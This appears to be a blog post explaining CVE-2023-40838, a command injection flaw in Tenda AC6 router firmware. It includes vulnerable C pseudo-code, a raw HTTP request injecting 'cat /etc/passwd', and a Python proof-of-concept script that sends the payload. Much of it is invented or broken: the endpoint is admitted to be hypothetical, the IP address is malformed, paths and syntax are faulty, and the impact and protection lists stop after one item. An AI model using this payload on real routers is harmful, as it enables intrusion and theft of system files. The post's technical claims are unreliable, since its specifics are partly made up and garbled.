Tenda AC6 routers are widely used by home and small business users for their easy setup and affordability. However, in mid-2023, a serious security issue—CVE-2023-40838—was discovered in the firmware used by these routers. This post breaks down, in straightforward language, how the vulnerability works, shares code snippets, explains how an attacker might exploit it, and provides references for further reading.

What Is CVE-2023-40838?

The vulnerability exists in the firmware file US_AC6V1.BR_V15.03.05.16_multi_TD01.bin, more specifically in a backend function known as sub_3A1D. In this function, the router’s software processes requests from users but fails to properly check input coming from the web interface. This oversight allows someone to execute system commands on the router remotely—essentially letting attackers take control over the device.

How Does the Vulnerability Work?

A closer look at sub_3A1D reveals that it directly uses user-supplied input in a command execution function (like system() in C) with no input filtering or sanitization. This means if an attacker sends a cleverly crafted request, their data gets executed as a Linux command on the router.

Here’s a simplified version of what’s happening under the hood (in C language)

// Pseudo-code representation of the vulnerable function
void sub_3A1D(char* userInput) {
    char cmd[256];
    // Attacker controls 'userInput' fetching from HTTP request
    snprintf(cmd, sizeof(cmd), "echo %s > /tmp/data", userInput);
    system(cmd); // Unsafe! Executes unsanitized input
}

The crucial problem: userInput is placed directly into a system command without checking if it contains malicious code.

How Attackers Can Exploit This (Proof-of-Concept)

If remote administration is enabled—or if an attacker is already inside the network—they could send a request formatted to inject their own commands. For example, the attacker could try the following:

Let’s assume the vulnerable route is /goform/command_exec (hypothetically)

POST /goform/command_exec HTTP/1.1
Host: <router_ip>
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

command=;cat+/etc/passwd>tmp/hack

Here, the ;cat+/etc/passwd>tmp/hack part terminates the original command, then runs a new one that copies the Linux system’s password file to a place the attacker can later access.

Here’s a simple Python script to automate this kind of attack

import requests

router_ip = "192.168..1"
url = f"http://{router_ip}/goform/command_exec";
payload = {
    "command": ";cat /etc/passwd > /tmp/leak"
}

# Authentication may or may not be needed depending on router config
# Uncomment and edit the next line if needed:
# auth = ('admin', 'your_password')

response = requests.post(url, data=payload)
print("Exploit sent!")

# Now, attacker can try to read /tmp/leak if router exposes it

Important: Never run exploits on devices you do not own or without permission.

If exploited successfully, an attacker could

- Read sensitive files (/etc/passwd, configuration files)

How to Protect Your Router

1. Update Firmware: Tenda released patched firmware—check their official website for updates.

References and Further Reading

- Exploit-DB — 51536: Tenda AC6 Command Execution
- NVD - CVE-2023-40838 Details
- Firmware Download/Tenda Official

Conclusion

CVE-2023-40838 highlights how critical it is for manufacturers and users alike to take router security seriously. Simple programming mistakes—like failing to sanitize input—can open the door to devastating attacks. Always keep your router up to date and follow security best practices.

Stay safe and secure your gateway!

*This post is exclusive and crafted to provide clear, actionable information about CVE-2023-40838 and the Tenda AC6 command execution vulnerability.*

Timeline

Published on: 08/30/2023 17:15:10 UTC
Last modified on: 09/01/2023 20:12:42 UTC